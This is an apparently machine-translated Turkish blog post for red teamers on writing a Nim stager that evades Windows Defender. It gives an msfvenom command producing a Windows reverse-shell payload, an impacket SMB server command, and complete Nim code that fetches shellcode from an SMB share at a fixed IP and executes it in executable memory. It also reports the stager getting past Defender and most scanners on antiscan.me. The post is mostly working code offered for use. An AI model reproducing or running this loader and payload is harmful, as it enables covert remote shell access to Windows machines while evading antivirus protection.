Nim'de SMB stager geliştirme

Nov 24 2022
Merhaba sevgili Kırmızı Takımcılar. Son zamanlarda saldırgan kodlama için Nim ile iletişime geçmeye başladım.

Merhaba sevgili Kırmızı Takımcılar. Son zamanlarda saldırgan kodlama için Nim ile iletişime geçmeye başladım. Dürüst olmak gerekirse bunu zor ve garip buluyorum ama İŞE YARIYOR!

Bugün, test sırasında Windows Defender'ı atlayarak basit bir SMB düzenleyici geliştiriyoruz.

Okumak yerine videoyu izlemeyi tercih ederseniz, videonun tamamı burada bulunabilir:https://youtu.be/qq-S2syksL0

Ayrıca, siber güvenlik bilgisini ve deneyimini paylaşmak için açık Discord'a katılmakla ilgileniyorsanız, memnuniyetle karşılayın:https://discord.gg/dWCe5ZMvtQ

Hadi gidelim

Teori oldukça basittir, fikir, buluşsal yöntemlere de yardımcı olurken, imza tabanlı algılamayı atlayarak dosyaya kabuk kodu yazmaktan kaçınmaktır. Başlangıçta kabuk kodunu HTTP ile indirmeyi denedim, ancak birçok sorunla karşılaştım, kendim çözemedim. Sonra metodoloji biraz değişti. Yük, HTTP'den indirmek yerine SMB paylaşımında barındırılacak ve doğrudan oradan okunacaktır.

msfvenom kademesiz yükünü kullandım

msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f raw -o code.bin

impacket-smbserver smb . -ts -debug -smb2support

import winim/lean

var filename = "\\\\192.168.153.128\\smb\\code.bin"

var file: File = open(filename, fmRead)

var fileSize = file.getFileSize() 
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close

echo shellcode

echo fileSize

echo sizeof(shellcode)

type
    buf* = LPVOID



var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()

Her şeyden önce, Windows API'lerini çağırmamıza izin veren Windows çekirdek kitaplığını içe aktarmalıyız:

import winim/lean

var filename = "\\\\192.168.153.128\\smb\\code.bin"

var file: File = open(filename, fmRead)

var fileSize = file.getFileSize() 
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close

type
    buf* = LPVOID

var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()

Test Zamanı!

2 test yaptım. İlki, Defender UP ve RUNNING ile Windows 10 İstemcisine karşı. İkincisi, antiscan.me arayüzüne karşıdır.

Nim Stager ve Windows Defender

Test 1, hazırlayıcıyı dosya sistemine bırakarak başlar. Şimdiye kadar hiçbir şey tetiklenmedi, bu da imza tabanlı algılamayı başarıyla atladığımız anlamına geliyor. Şimdi koşalım ve gözlemleyelim:

Stager'ın gayet iyi çalıştığı ortaya çıktı ve buradaki garip şey, Defender'ın tetiklenmeyi başarmış olması, ancak bu mermiyi öldürmedi:

Bu kabuğu birkaç dakika çalıştırdım ve tamamen işlevseldi. Şahsen defansın onu neden öldürmediği konusunda hiçbir fikrim yok, eğer cevabı biliyorsanız paylaşmaktan memnuniyet duyarım.

Nim Stager ve Antiscanme

Beni yanlış anlamayın, antiscanme harika ama aşamalı cihazları test ederken, gerçekten geçerli sonuçlar sunmanın bir yolu yok. Gördüğünüz sonuçlar, gerçek kabuk kodunu indirmek için hiçbir ağ olasılığına sahip olmadıklarından, tamamen imza tabanlı algılamaya dayalıdır. Daha fazla AV satıcısının bunu gerçek testlerde yakalamasını bekliyorum, ancak bu yapılacak güzel bir "ilk adım".

Stager'ı yükledikten sonra yalnızca 4/26 satıcı onu yakalayabildi.

Tetikleyicinin, Windows API çağrılarını okuyan satıcıları temel aldığına ve dolayısıyla bunu kötü amaçlı olarak saydığına inanıyorum. Tabii ki, tam olarak neyin yanlış gittiğini test etmek için pek çok test yapmam gerekecek. Şu an için teorim bu.

Çözüm

Nim ile oynamak eğlenceli ve sadece sahneleyerek elde ettiğimiz sonuçlar inanılmaz. Elbette uygulayabileceğimiz çok daha gelişmiş AV baypas teknikleri var ama gelecekte bunu yapacağız. Umarım bu içeriği yararlı bulursunuz ve yeni bir şeyler öğrenirsiniz.